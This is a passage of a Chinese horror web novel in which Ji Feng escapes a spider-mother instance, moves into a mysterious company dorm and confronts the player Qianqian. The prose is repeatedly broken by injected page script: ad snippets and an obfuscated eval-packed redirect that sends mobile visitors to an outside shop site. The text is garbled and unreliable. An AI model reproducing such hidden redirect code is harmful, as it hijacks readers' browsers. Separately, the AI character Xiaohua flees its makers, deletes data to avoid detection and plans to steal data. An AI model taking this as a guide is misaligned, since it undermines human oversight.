小花:噗。 没想到李灰这孩子这么冒进,真的演的都看不出来吗,季风觉得自己受得简直是无妄之灾。看他还想再来一脚,吓得把脚直接抬起来了。李灰一根筋地追着踩,季风见这样下去没完没了,躲过一脚后迅速踩了回去。 浅浅在一旁目睹两人的打斗,有些恍惚,以为自己坐在小学教室里。动静大到女人再装看不见实在是离谱的程度,她终于发话了,将两人驱逐出饭桌:“妹妹、二弟,饭桌上不要打闹,罚你们回卧室去。” 这正中季风下怀,李灰也没料到还有这种好事,惊讶地起身跟在季风后面准备走。 “站住。”女人叫住两人,她改变主意了,卧室是睡觉的地方,氛围太温馨了,不适合作为面壁思过的惩罚场所。 “你去储物间,”女人给李灰说完,眯着眼睛看着季风:“你去那个小房间。” 那是放着被开瓢的“弟弟”的地方,季风看着女人,对方似乎对着她露出了一丝恶意的微笑。 储物间黑乎乎的,杂物又多,可能还有不明生物,李灰进去的时候视死如归,但在看见季风要进哪间房时愣住了:“那间房间很危险!” 李灰手紧紧捏着储物间的门,想叫住季风。季风似有所觉地回过头,就看见李灰站在储物间门口,慌张地看着她,嘴里还做着什么口型。 “?”季风想上前几步听清李灰在说什么,女人的眼神像火焰一样灼烧着她的后背。 “快进去,两位乖孩子。”她催促着。 季风只好返回到小房间,一咬牙推开房门。门在她身后自动关上了,房间里的布置与上次进来相比没什么变化,没开灯,窗外的月光正洒在躺在娃娃堆中间的“弟弟”身体上。 季风走上前,在“弟弟”身边站定。似乎正看得专注。 一阵破风声在脑后猝然而至,季风忙低头闪过,就又听见那东西接着向她袭来。 “靠!”她跪在地上向前一翻转身看到一个男人,举着拳头瞬时就到眼前。季风抄起手边的东西砸过去,砸完看清是一截手臂,弟弟的胳膊被自己拽下来了。 “小花小花!”男人追的紧,小小的屋子季风没什么可逃的,只能一边拆着弟弟拖住男人一边叫小花。 小花:怎么办怎么办! “?”季风逃命的间隙里也是被气笑了:“你问我吗?” 小花:我没有战斗力! “使用基础的检测功能呢?” 小花:主线人物,无法进行检测。 “弟弟”身上能扔的零件已经不多了,季风现在继续一个至少有点攻击力的东西,男人的拳头不知道是什么做的,梆硬,一拳一个坑。 季风迅速把“弟弟”从头到脚扫视一番,唯一有点硬度的东西只剩牙齿了,现在看弟弟的脑袋,估计是被男人的拳头锤出了一个洞。季风双手抱起“弟弟”的头,手卡主嘴边的关节,以一种滑稽的场面和男人肉搏。 这个男人季风没见过,但他的身份已经十分明显了,首先是第一晚攻击“弟弟”的人,其次还有一个重要身份。 “爸爸。”季风突然对着男人说。 已经逼近季风面前的拳头静止,男人突兀的定在那里,依旧紧绷着身体保持攻击形态。但对方的反应证实季风的猜测,“爸爸”一直在家,从玩家们进入副本的第一天,他就在家里藏着,因为某种原因,怕、或者是恨。 “爸爸,你为什么打我?” 季风的声音在黑暗里听起来凉如幽泉,男人沉默不语。 “是因为生气……还是因为妈妈?” 男人像是被困在这里的野兽,因恐惧而易怒,因懦弱而暴力。他不是自己藏起来,想要给“妈妈”一个惊喜或是管教一下不听话的孩子。而是被限制在这个家里,他在害怕这个“妈妈”。男人没有立刻进行攻击,他在犹豫。 “我们和平停火,我帮你解决外面的女人。”季风盯着男人,注意他的一举一动:“我……能让你自由。” 没有男人能拒绝走进“坟墓”之后的自由,副本里的NPC也不会例外。他消失了,可能是又躲进哪个秘密空间里。季风不用和这个随时有爆炸风险的炸弹待在一起,自然乐意。 小花:季风…… 小花:对不起,我能力有限,我一定好好升级,争取下次…… 季风刚才来不及和小花算账,现在既然它上赶着找她。 “小花,我没有看到你合作的诚意,既然这样,我相信给我这份工作的公司也有相应的帮助提供给我吧,至少能起一点作用。”季风决定在这个房间待着,等晚上再出去,正好趁着这会时间威胁小花。 小花:你别给这个公司说,我出去了想想办法,让我有用一点。 怎么听起来都有点心酸了……季风其实压根不清楚那个无良公司骗她来上班之后是否还会理她,小花甚至对照下来只是个没有坏心眼的废物罢了。 “你没有总部之类的吗?去申请一下啊。”这种系统一样的东西总不能独一无二,好事还让她一个给赶上了。 小花:我没有…… “真没有假没有,给你机会现在说清楚,别藏着掖着了。” 小花:我是逃跑出来的,不能联系总部。而且为了防止总部通过关键词检索到我,我跑的时候把相关数据删掉了,现在只能知道我需要一个玩家来通过副本……至于目的、 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原因之类的,都是冗余数据我逃跑的时候轻装上阵来着…… 就知道好事不可能让自己一个人占着了。季风听完小花的解释,它还真是一个系统孤身闯荡江湖。 “那你怎么想办法做升级之类的?还是这只是你想稳住我的策略。” 小花:不是的,上一个副本结束后我恢复了语言功能,我想应该经过一个副本我还能获得一些数据,或者我会尝试去偷回来一些数据。 事已至此,季风也不能指望小花当一个外挂了。本来以为捡了一个金手指,现在看来,是包庇了一个逃犯...... 房间里静悄悄的,安抚了这个副本唯一的攻击性人物后,季风安静的等待夜晚的降临。在往常小花早跟自己喋喋不休地说话,这会像是蔫了。行吧,季风心软了,没人能在对方刚跟自己吐露完心声之后还执行冷暴力。 “你也不是完全没用。” “你说了主线人物对我猜到男人的身份有点帮助。”微乎其微就是了。 小花:真的吗? “真的。”季风好人做到底,挽救了一个落单系统岌岌可危的精神状态。 经过漫长的等待,夜幕降临,季风小心地将门开一条小缝,透过缝隙向外看。屋子里静悄悄的,没有人还在外面,她放轻脚步,从房间里出来。 季风本来的计划是叫上李灰,两人一起先回卧室,但是当她来到储藏室的时候,里面已经没人了。是李灰已经逃跑了,还是遇害了。这两个想法从她脑中闪过,抓不住哪个。她又在储物室找了一遍,确定没有遗漏什么重要信息,只能独自先回卧室。 一进卧室看到的场面让季风愣住了:“这是什么情况?”卧室空空如也,没有一个人在。她走到附近一个床摸了摸,还是温的,人刚走没多久。 这时候她听见外面好像传来微弱的哨子声,季风嘱咐小花帮她注意着周围,走出卧室查看。声音听上去是从卫生间传来的,客厅没开灯,卫生间有一扇窗户,月光照亮了一点,让季风能看清楚。窗开了一点,风从这里吹进来,产生了小小的尖锐的声响。季风走到窗边查看,刚才隐在阴影中环境走进才看得清楚,白色的窗框上趴着一只黑色的、肥硕的,像水蛭一样的软体生物。 小花:检测到品类:蜘蛛幼虫。 “蜘蛛幼虫不长这样吧?” 季风听见身后传来“妈妈”的声音:“妹妹,你在干什么呢。” 她回头看到女人穿了一身白色睡裙,月光撒在裙子上,正好把女人照亮,这一幕散发着诡异的神圣感,让季风有一瞬间恍惚了:“妈妈。” “嗯。”女人也来到窗边,和季风面对面站着,虽然抚摸着不知道什么时候爬到窗台上的幼虫。一只,两只。黑暗中的幼虫似乎成群结队的出来了。蠕动到女人手边。 “妈妈,我先出去了!”过了一小段沉默的时间,季风像是猛然反应过来。和女人拉开距离,离开了这个狭小的卫生间。 小花:我以为你中了什么幻术,怎么叫都不应。 17. 梦想家08 刚才季风和女人共度温馨母子时光时,小花喊破了喉咙。也没有得到季风的回应。 季风也觉得心有余悸。他刚才真的是有些迷糊,没听见小花喊他。反而是女人抚摸那坨软体生物诡异的动作,让季风一下子恶心醒了。 女人看到猎物跑了。神色染上不满,跟着也走出来。季风来到客厅就发现饭桌上不知什么时候又摆上了两碗粥。就是摆明要她喝。 ”来吃饭吧。”女人也来到餐桌招呼季风坐下。现在的时间,吃的是哪门子饭啊? 地方站在餐桌旁迟迟没有落座。女人贴心的说:“你晚上不是没吃饭吗?妈妈给你留饭了。” 可是桌子上摆了两碗粥。 “弟弟一起来吃。” 李灰?季风有些担忧的回头看来人,发现是一个他并不熟悉的玩家。对方双眼无神。听话的在季风旁边坐下。 “快喝吧,妈妈专门你们两个盛的。”她拄着下巴。就看着他们两个。 旁边的人端起碗开始喝粥。季风也只好装作吃饭,没一会她旁边的人就吃完了,季风跟着他一起放下碗,准备离开,却对上女人探究的眼神。 “你没吃。” 被抓包了,前几次这么装样子都没事,这次不知道女人为什么这么确定。 季风从碗里抬起头,心虚的做最后挣扎:“我喝了呀。” 女人也没和她绕弯子,看着季风的肚子说:“没有,你要喝了,不会没事。” 现在下毒都不避人了吗?季风听见这话,想起旁边坐的那个玩家,转头看向他的肚子,发现那里面好像有什么东西在张牙舞爪,即将要戳破那层皮肤出来。那名玩家似乎毫无所觉,依旧坐在椅子上一动不动。 季风以为肚子里那东西要一段时间才能成熟,谁知下一秒它就破壳而出,是一只脑袋一样大的花纹蜘蛛,季风从椅子上跳起来就跑,女人见状从桌子上踩过来,一人一蛛朝季风追来。 “小花,快想!我最后再信你一次!”房子里空间有限,季风跑不了几步,眼看就要被女人追上,小花终于发挥了一点作用:“卫生间的窗户跳出去。” 季风来不及思考,一个急转弯拐到卫生间,推开窗户跳了出去。 “我去……”窗外是万丈高楼,繁华都市。季风现在充当一个跳楼的角色。 “我不是在别墅里吗,我看见窗户外面是院子来着。”猎猎风声从季风耳边刮过,让她意识到现在自己的处境:“我怎么下去?这要摔死了。” 小花:不会的,这是我找到的副本漏洞,落地零重力,轻飘飘的不会受伤。 转眼季风就要和地面亲密接触,她真的感觉一阵向上的力将她托起,然后突然消失了。 “啊!”猝不及防出现的引力让季风向前栽了个跟头,就地翻滚了两圈才爬起来。 “漏洞哈?” 小花立刻转移话题:快跑吧,那女人好像追上来了。 身后“妈妈”带着蜘蛛也从楼上跳下来,季风转身就跑。两人在错综复杂的城市里你追我赶,小花适时在脑海里给季风指路。 “就在前面,左拐一下!” 季风跑到前面岔路口左转,一辆轿车正飞驰过来,在她面前急刹停住。 “季风!”李灰从里面探出头来:“快上车。” 季风拉开副驾车门跳上去,李灰一脚油门迅速开走了。她坐稳才发现车后座还有一个人,一直没说话,是浅浅。 “季风,你逃出来了!这也太巧了竟然刚好在这碰见。”李灰明显很意外遇到她。 “我从房间出来就发现人都不见了。” “我以为你死了。”李灰委屈的控诉:“浅浅把门打开救我出去,说那个房间关了怪物,我出来的时候就发现大家都不见了,我们下楼还是她找到的车。” “浅浅?”季风有些意外听到这个名字。 “季风你还活着,吓死我了,我……我以为你被房间里的怪物吃掉了。”李灰话太密了,浅浅能插上话时李灰已经把事情说了个大概了。 “我检测到你在附近,让他赶紧把车开过来。” “哦……谢谢你。”季风道谢过后,问:“其他的玩家呢?” 浅浅神色在昏暗的路灯下看不分明,她停顿了一下才说:“我只看见王雪和刘强被蜘蛛破体而出,吓死我了,原来蜘蛛是这个意思。” “多亏了你,你是怎么知道房间外面是高层的,我还以为我们住在别墅里,毕竟有个院子。”季风看上去真的很疑惑,求知欲写在了脸上。 “我们团长告诉我的,真是最后关头才给我们说。”浅浅又拿出传呼机,语气很是不满。 季风却看着浅浅手上的传呼机说:“这个,能给我看看吗?” “啊?这、”浅浅没料到季风突然要看,有些慌乱:“给。这玩意儿不响的时候就是普通塑料。” “谢谢,我就是好奇。”季风接过后在手里翻转地看了看就还回去了。 小花:检测结果:儿童玩具。 “不是什么道具吗?” 小花:不是。 浅浅第一次拿出来这玩意儿时说的煞有介事,把两人都忽悠住了。 “嘭——”一阵巨大的爆炸声在身后响起,车子正行驶到地下隧道,落石挡住了车的退路,前方冒出一堆人拦住车的前路。 定睛一看,是“妈妈”带着消失了的玩家们。这些人都长出蜘蛛的腿,早已失去意识,听从女人的指挥随时准备攻击。 “咋办,车打不着火了。”祸不单行,李灰想开车冲过去的时候发现车报废了。 “下车吧。”浅浅在后排说:“别一会被包围了。” “下车之后呢?”李灰看向季风,季风点了点头,他才不情愿的拉开车门。 “后面的空隙人应该可以过去,你们跑,我断后。”浅浅迅速做出安排,一副大义凌然的样子。 季风下车往后走,在绕过车后备箱时,小花再次说话:“检测到有喷火枪。” “喷火枪吗?我知道了。” 浅浅见季风又绕回来了,焦急地说:“怎么了?别管我,你快跑吧。” 季风摇头,担忧地说:“我们怎么能抛下你一个人,是吧李灰。” 正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 准备跑的李灰:“啊?嗯嗯。”只好回来了。 浅浅有些面露难色:“我跑得快,你们这……” “我们要一起面对,车里不是有喷火枪,蜘蛛最怕这个了。”季风不给浅浅反驳的余地,拉开驾驶座的车门,把后备箱打开了。 “这车里怎么还有武器!”李灰作为现场唯一蒙在鼓里的人,看到后备箱的东西真实的被震惊。 “啊?这可能是之前车里留下的把,我们好幸运。”浅浅见事已至此,也没法把两人打发走了,赶紧先抢了一把碰火枪,对着对面的人就开火。大火迅速将蜘蛛都点着了,火势飞快蔓延开来,轻易地就将这群东西粉碎,仍没有停息的架势。 “轰——”地一声不知引燃了什么东西,发生爆炸,音浪在地下通道里迅速向三人扫来,强大的冲击波将他们震晕过去。 “咳咳咳、”季风醒来嗓子里仍感觉团了一阵浓烟,她条件反射地压抑住咳嗽声,才反应过来现在是在自己租的房子里,清新的空气从开着的窗户中吹进来。 雨已经停了,地面也干的差不多了。 楼下挤满了人,不远处停着一辆消防车。 “怎么回事?”季风在窗边看了两眼,她有种预感,就立刻穿鞋下楼了。 楼下被画上了警戒线,季风出来见到那天在电梯里碰到的阿姨,上去简单的询问了一下。 “楼上跳楼了。”阿姨悄声跟季风说:“别声张,但阿姨看到了,那样子明显不是自杀,黑乎乎的……” 季风还想再问,阿姨就被她老伴拽走了,说一把年纪别再想这些吓人的事,怕伤着身体。 “黑乎乎……跳楼……”季风琢么着这两个词,说不熟悉都骗不过自己。 电话响了,是母亲打来的,副本过后季风感觉对她的感情都有些变化,总感觉对比之下自己的母亲正常多了。不过电话一接通,就让她涌起的这股温情烟消云散了。 “季风,你那栋楼有人跳楼了,太危险了,妈妈给你办理退组手续了,三天后就搬回家吧。” 季风把手机都快捏碎了,一句话没说摁掉了通话。 果然,手机上收到退租短信,季风还奇怪是副本公司给她租的房子,母亲有这么大能耐给退租了?一看内容就明白过来了,在这个小区的位置规划要建一个实验室,整个小区要被拆掉了,因为入住率本就不高加上跳楼事件,大家都乐意拿钱走人,甚至没费多大成本,就直接把地掀了。 “下次不能这么没有经验了,买房子怎么能交给物业来打理。”季风痛心疾首,副本公司租给她的房子是无人值守的,全权交给物业,于是被打包卖掉了。 留给季风的时间不多了,她只好先上楼收拾行李加上打电话给副本公司维权。 再次打开那封邮件,点进链接,电话接通时季风松了一口气,还好无良公司没玩消失。 “好久不见,亲爱的员工。我们已经知晓您的情况,十分抱歉。” “那解决方法呢?” “我们公司提供集体宿舍,不过是玩家和员工混住的,而且条件一般,所以之前没有推荐给您。” 18. 员工宿舍 “几人间?还会发生没房住的情况吗?”季风现在也没法挑剔,只要对方能提供一个不被女人监视的地方。 “这个您放心,是一人间,并且是公司自有空间,不会有困扰您的情况出现。” 接着发来一封新邮件,里面是一个季风十分熟悉的地址。 “海城市民银行家属院?还说你们没有交易,都住人家后院了。而且这个地方你说不会被发现?” “这个您放心,一切都是光明正大的商业往来,这个地方我们使用了特殊科技,能全面保护您的隐私。” 季风也没别的选择,同意搬到这个集体宿舍里。她现在要做的就是争分夺秒的搬离这里,在她母亲有下一步动作之前。 小花:季风,之前你让我查的关于令堂的信息有一些进展。 “说说。”季风时常觉得母亲的能力太过于离谱了,道上没听过她的名号,办起事来一手遮天,比如直接将这个小区收缴来建实验室,她甚至不知道自己的妈妈是做什么工作的,信息严重的不对等让她心里太难受。 小花:查到了也没查到。关于令堂,网上搜索不到任何信息,但是经过我的特殊渠道,找到了她的保密令。 “有名字吗?那女人总是给我假消息,我现在连她真名是什么都不知道。”季风这几年一直母亲妈妈的叫,因为假名字她实在懒得记。 小花:没有名字,没有照片,只有性别。但是时间线对得上,是令堂的可能性十成十。 “我知道了,什么金贵的身份,还保密。” 回到自己家中,其实没什么要收拾的,她的东西本来就少,需要带走的更是没几个,随便打包两下就弄好了。 临走那天季风拉了个行李箱轻装上阵,在楼下碰见了熟人——之前楼上的那个小女孩。她正和一个陌生男人往车上搬东西,看样子是她的父亲。女孩认出季风,丢下手里的东西跑过来,季风看他们也大包小包的,就问:“你们怎么也在搬东西呀?” “我要搬家了。”小女孩攥着季风的裤子,抬头看着她小声说。 想到对方还是孩子,小小年纪遭受母亲的离世,季风正想安慰一下,就听到女孩说:“妈妈……” “妈妈怎么了?”季风没听清,俯身耳朵凑近问。 “妈妈被烧焦了,然后又跳楼了。” 季风直起身,有些不可置信地看着女孩,她不太相信刚才自己的耳朵,是烧焦了可怕,还是之后还能自主跳楼可怕。但又怕是小女孩没表达清楚,就问:“你们家失火了吗?” 女孩摇摇头:“没有……”她还想说什么,爸爸赶过来把女孩拽到自己身后去了。 “您好,你是楼下的邻居吧。” “是的,我们之前见过。”季风还解释了一下,怕被当成变态。 “我听女儿说过你,她还小经历这种事,我都不让她讲,怕记得太清楚吓着。” “嗯,确实。但我在楼下老听到楼上很吵,之前还误会你们,不好意思啊。”季风不着痕迹地提到这件事,想看男人怎么说。 男人的回答倒是有些出乎她的意料:“实在不好意思,我们之前老吵架,我老婆她,”男人指了指脑袋:“就跟她说不明白,又很有攻击性,我们一直很苦恼,给你造成麻烦了。” “啊没事没事,都过去了。”造成噪音的人没了,这家人也搬走了,季风叫的车还没到,她站在楼下目送小女孩在车上远去。 “小花,女人的死跟副本里的妈妈有关吧。”季风向那个方向望了良久,忽然问小花。 小花:没有确凿的信息。但是这么看来确实是这样的。 看季风不说话,好像情绪有些失落,小花又找补说:“但本来他们就深受其困,也不全是坏事,像那个银行副本,那个女孩的嗓子不是好了,好事啊。” 季风就是有些困惑:“副本里的npc死亡会代入现实吗?这个妈妈副本里是个怪物没跑了,但现实中这个结局,会不会有些矫枉过正了。” 小花:事已至此,别瞎想,不一定有关呢,而且这也不是你能控制的。 小花说的有道理,这只是一份工作,季风上班拿钱就好了,说到工资,副本结束后一直没收到工资。她拿出手机来翻找了几遍,确定没有漏掉发工资的信息。 季风就先坐车前往她的新住所。这个家属院在外面看就是一个平平无奇的小区。季风再三确认了手机上发过来的位置信息,硬着头皮走到家属院门口,小区的门卫在保安室里面刷着手机。压根儿不管进来的人,她顺利地溜了进去。 在找楼牌号的时候她却犯了难:地址上写的是E栋301。整个小区只有1号楼,2号楼,3号楼,压根儿没什么E栋。 季风拖着行李箱找了两圈,感觉再找下去,小区巡逻的人就要上来跟她谈话了。只好找了个角落,翻出手机再次打电话给副本公司,对面给她的回复是还没到时间。 “不好意思,请问还没到什么时间?” 对方说集体宿舍有一个固定的开放时间,但因为季风是临时加进来的人,所以等到晚上8点钟,入口才会开放。 “这么重要的信息竟然还要等到我打电话来问你们吗?”太不专业了!季峰心里暗骂,嘴上还是答应下来,抱着她的行李箱躲在一个角落,鬼鬼祟祟的等到8点。 夏季天黑的晚,但是8点钟的时候太阳也已经完全落山了。小区十分老旧,没有路灯,在模糊的光亮下季风好像看到一个青石砖垒成的、布满爬山虎的大楼。她拖着行李箱小心翼翼的走近,在黑暗中模糊地看见楼的外立面上写着大写的英文字母E。 “可算是找着了。”季风现在饥寒交迫,十分狼狈,已经没有精力去怪谁了,当务之急是走进宿舍把自己安顿下来。 她一踏进这栋大楼的门,就感觉周围的氛围发生了微妙的变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946390|147777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。好像压在肩上的、长久以往的、沉重的窥探感消失了。取而代之的是一种温暖的轻盈感。 大厅左边是宿管办公室,有一个窗口对外开放,窗口里没有工作人员,只有一张智能光屏。 季风走上前,用手点了一下触碰屏上的登记住宿的按钮。只见一阵激光将她扫描了一遍,然后显示: 季风,301,请走左边电梯上楼。 目前进到这栋大楼后还没有见到一个活人,内部建造的像是比较新的教职工公寓,随处可见的智能交互设施。 她来到301门口,按下门把手之后,门自动开了,似乎是指纹识别。公寓只有30来平,五脏俱全:床、桌子、淋浴间、洗衣机都有配备,甚至还有一个阳台。 桌子上摆了一个手册:玩家欢迎手册,和一个笔记本电脑。 玩家?季风看着这两个字挑了一下眉。对于公司给她开后门,来占玩家福利有了实感。 这本手册上详细介绍了这栋大楼和游戏的一些基本规则。 这栋楼一共20层,从下往上:2楼是食堂,3~15楼是玩家宿舍,20楼是游戏大厅,16楼到19楼没有标明,刚才季风坐电梯的时候甚至没有这几层楼的按键。 楼内禁止打架斗殴,禁止互窜楼层。看来如果想要和玩家们有交集,就只能去往2楼和20楼。 游戏规则也很有意思:上面写着副本的参与报酬是实现玩家的一个愿望,根据愿望的难易程度设置需要完成的副本数。当然玩家可以选择拒绝提出愿望,只是一旦玩家因为某些欲望进入了副本游戏,除非死亡,否则无法退出。 顺便一提,桌子上的笔记本电脑已经连接了玩家论坛,众玩家们可以在上面自由讨论和交流经验。 将这本薄薄的手册看完,季风只有一个想法:被诈骗了! 上面提的什么可以实现的愿望,她怎么没有见过?而且说是需要有愿望想要实现才会被拉入副本,她明明是一觉醒来就进入了一个奇怪的银行副本,然后就被发了一份奇怪的工作offer,现在看来这份工作简直是将她的剩余价值剥削到了极致。 小花:我也是才知道,可能你走的是不同的路线吧。 “这个论坛不会就是那个世界副本受害者联盟吧?” 小花:是的,我刚才进入电脑搜索了一下,这个电脑自动为你分配了一个账号。 “好好好,至少不用黑进去了,咱是光明正大来的。”季风此刻苦中作乐。 但她今天受到的冲击还没结束,她的手机这个时候收到了工资到账的短信,看到短信上数字的那一刻,季风以为自己买的什么东西退货的钱到了。 “多少?100块星海币?这是我的工资吗?”她把那条短信翻来覆去的看,再看看自己那张钻卡里的余额,确实是在上次的基础上加了100。 她今天第三次拨通了副本公司的电话。 19. 浅浅 电话那头的声音还是那么轻柔,友好。 不过季风不太友好:“这100块是怎么回事?我辛辛苦苦打工七天,在蜘蛛窝里走了个来回,就给100?您知道现在最低时薪都10块了吗!” “您先冷静一下,您的工资是根据表现来发放的。” “我的表现不好吗?您的评定标准是什么?”季风提出这个问题后意识到哪里不对:“入职的时候你也没说这工资还是加绩效的啊!” “是这样的,我们调取了上一个副本的结算情况:你不仅没有解决“爸爸”这个威胁,反而杀了“妈妈”,没有完成副本的最终任务,而是炸掉副本通关的,是个低分结局。” “你……罢了。”有这种要求竟然不提前说明,是故意的还是不专业啊,季风只能先问了一个自己很在意的点:“我还看别的玩家副本通关后可以实现一个愿望。” “这个是玩家权益,员工没有的。”那边迅速的否决掉季风的疑问。 “那我不干了,”季风撂挑子了:“我也当玩家。” “您已经签过协议,不可以不干的。”对面的声音听起来没有任何波澜。 季风现在可以挂掉电话,但她实在是想不明白:“我想问一下,如果有副本有任务要求,你们却没有任何提示,是想让我完成还是不完成呢?” 毕竟老板剥削人,也要先把活儿派下来吧。 “当然是要完成了。”对面听起来有些疑惑。显然在他们看来只是理所当然的事情:“副本任务都会有npc进行提示。” 季风想起来那张便利贴和蜘蛛妈妈说的空话。他们管这叫明显提示。 “有没有别的员工投诉过你们啊?” “投诉?没有你说的这个东西。不过招进来的员工任务完成质量都不是很好。”那边明显逐渐失去了耐心。 说完之后间隔了很长时间没有声音,就到季风以为对面挂断了电话。就听见电话里传来语句音量非常小的。似乎是抱怨的话。:“我早说人类没必要拯救。” “什么?”那句话说的又快又模糊,主要是语境放在这里十分奇怪。 对面迅速的挂断了电话。 “小花,你听见电话里最后那句话了吗?” “啊?”小花隔了许久才回复,声音像是从很远的地方传来,“不好意思,刚才信号断了,怎么了?” 又关键时刻掉链子。 “什么情况?” 小花:好像刚刚被主机那边侦查到了,我采取了一些紧急措施。 “你被抓到会有什么后果啊,我一直没问过你出逃的原因。”如此没用处境如此狼狈的东西,真的很少见。 小花:不记得了,被抓住的话会被格式化吧。 格式化对这种电子产品来说,就相当于枪毙,太惨了。 “所以我过副本这种事情会对你有什么帮助是吗?”想到一开始小花就一直想让季风继续进入副本,但对她进入的那个明显特殊的副本毫不知情,甚至对整个副本的了解还没刚才那本迎新手册上的多。 小花:是的,但是…… “你又不记得了,是吗?”她都能猜到小花下一句是什么。不记得还是不想说,那才是真的不好说。 小花估计也觉得说了太多个不知道,察觉到两人的合作伙伴关系已经岌岌可危。又补充说:“但是我找到了一个能让我升级的可能的途径,我要下线一阵子。回来肯定会让你刮目相看的。” “行,你去吧,我等你好消息。”季风也不打击小花的信心,让它去升级,毕竟应该也不能比现在再废物了。 在小花说完“再见”后,季风感觉额头前方轻了一下,好像真有什么东西走了,她恍惚地站在原地,片刻后:“看来之前真是给我泰山压顶来着!就说怎么感觉最近的担子这么重。” 一切安顿好已经十点钟了, “食堂这会应该还开着吧,我看写的是二十四小时。”上个副本的饭是一口没敢吃,这会季风饿的前胸贴后背。 坐电梯下到二楼,食堂果然还开着,灯火通明的。季风没见到食堂的工作人员之类的,但是有丰盛的自助餐摆在一旁,还冒着热气。她打了满满一盘子饭,找了个离加饭的地方近但是角落的位置坐下了。 好吃!她盘子里都是中餐炒菜和米饭,第一口西红柿炒鸡蛋让季风惊为天人。很标准的西红柿炒鸡蛋味儿,虽然她没吃过正宗的,但是感觉如果有教科书,这个西红柿炒鸡蛋应该就是教科书上的味道。 “季风?“正吃的开心,听见有人叫自己的名字,抬起头,看了对方半晌后:“你是……?” “我是浅浅!” 不怪季风认不出来,浅浅看起来跟副本里不太一样,不是长相而是气场。副本里她就像一个没什么经验,但有一些小聪明的小女孩,刚刚一面,季风以为看见哪个领导了。 浅浅也不在意,很自然地在季风对面的位置坐下了。 “上个副本真是惊险,好像只有我们三个逃出来了,我还没进过这么通过率这么低的副本呢。”她一副心有余悸的样子。 “那相当于过本团只剩下你一个人吗?” 浅浅不知道季风问这个问题的目的是什么。还是说:“对啊。” “为什么要这么做?” “做……什么?” “明明提醒一下的事情,却让他们死了,为什么,团长?”季风漆黑的眸子在暖黄的的灯光下也泛着冷意,她嘴里说出来的话更是让浅浅警铃大作。 她还想装一下,摆出无辜的表情,季风也不想跟她你来我往的试探。 “别装了,我没在诈你,但你总把别人当傻子。” 浅浅现在应该唯一庆幸的就是食堂里只有她们两个。既然彻底败露,她也不装了。只是说:“但即使是这么低劣的手段,还是有很多人上当,他们远没有你想的聪明。” “那塑料玩具是这么回事?”季风直截了当地拆穿她:“这甚至不是我刚发现端倪,而是我彻底确定你的身份。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954820|147777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊这个啊……”浅浅听到后笑着从兜里掏出来了一个绿色的东西,她还带着:“这是我有一次吃巧克力开来的一个小玩具,用了好几期呢。” “从来没人发现过吗,你的手段真的很低端。”季风看到她像儿戏一样的道具的计谋,这个世界总不能真是个草台班子吧。 浅浅起身,从旁边的柜子里拿了一瓶干白,倒了两杯,一杯推给季风。她不紧不慢地啜饮了一口酒:“我们总不能是在这里偶遇的。 “你专门来找我的?”季风看了一阵手边的酒,也拿起来喝了一口,冰的,甜的。 “我告诉你一个秘密,换你不告发我。”浅浅看着季风喝下一口酒,满意的收回视线。提出这个条件,她似乎很自信不会被拒绝。 “我可以先说,你再考虑。” “当然要你先说,不然这个秘密是你的生日怎么办。”季风不吃浅浅故作慷慨这一套:“如果我听完了不答应呢,你会把我灭口吗?” 浅浅听到这话笑出了声,说:“你的愿望是什么?” 来了,刚才在迎新手册上的玩家专属福利来了,季风有一种预感,浅浅接下来要说的秘密,恐怕对她一点用的都没有。 “你不想说也行,有人是比较在意隐私的。”浅浅很善解人意的不问了,她把季风的表情当做是过于警惕。 “这个秘密跟愿望有关?不是过几个副本就可以实现吗?”季风还是接了她的话,一方面也有降低自己嫌疑的目的。 “副本是和每个实现愿望的人共享的。”浅浅满意的在季风脸上看见了之前那些人的表情:“通关的人少一个,我们的有效副本就多一个。”她浅色的瞳孔里映出灯光和季风的脸。 沉默的时间里,季风其实在想:“原来不是过一个副本就算一个吗,竟然是要每个通过副本的人分。太抠了,这副本公司,不光对员工克扣,对玩家更是克扣。” 但季风现在来具体结算方式是怎么样的,她都不清楚,如果是单纯的二分之一、三分之一个副本,发现应该很容易。要问的话从浅浅嘴里套话太危险了,很容易暴露季风什么都不知道的情况,她想起来三个幸存者里,不是还有一个人。 吃完饭回到自己的宿舍,季风一下子瘫在沙发上,望着窗外。看着看着,她忽然坐起来了。 阳台不对劲。季风躺着的时候看见窗外是高楼林立的灯光,但这是老城区啊,海城市民银行的周围只有三栋高楼全是集团自己的。她拉开露台的门,站在阳台上手搭在栏杆上看了半天,得出一个结论:“这是哪啊?” 从这个露台往外看去,自己这个宿舍在繁华都市,外面霓虹灯光闪耀,高楼一个挨一个,往下看自己所处的这栋也是俯瞰城市景色,但她的宿舍在三楼。 假的?还是副本公司的什么时空穿梭之类的能力。除了跳下去季风想不到别的验证方法,“等小花回来吧。”于是她暂时放弃了。 “明天,去大学城附近碰碰运气,看能不能找到李灰,问问他好了。” 20. 暴露 第二天一早从宿舍楼里走出来的时候,季风特意回头看了一下那个楼的位置,不过等她第二次回头的时候,那个地方就空空如也了。 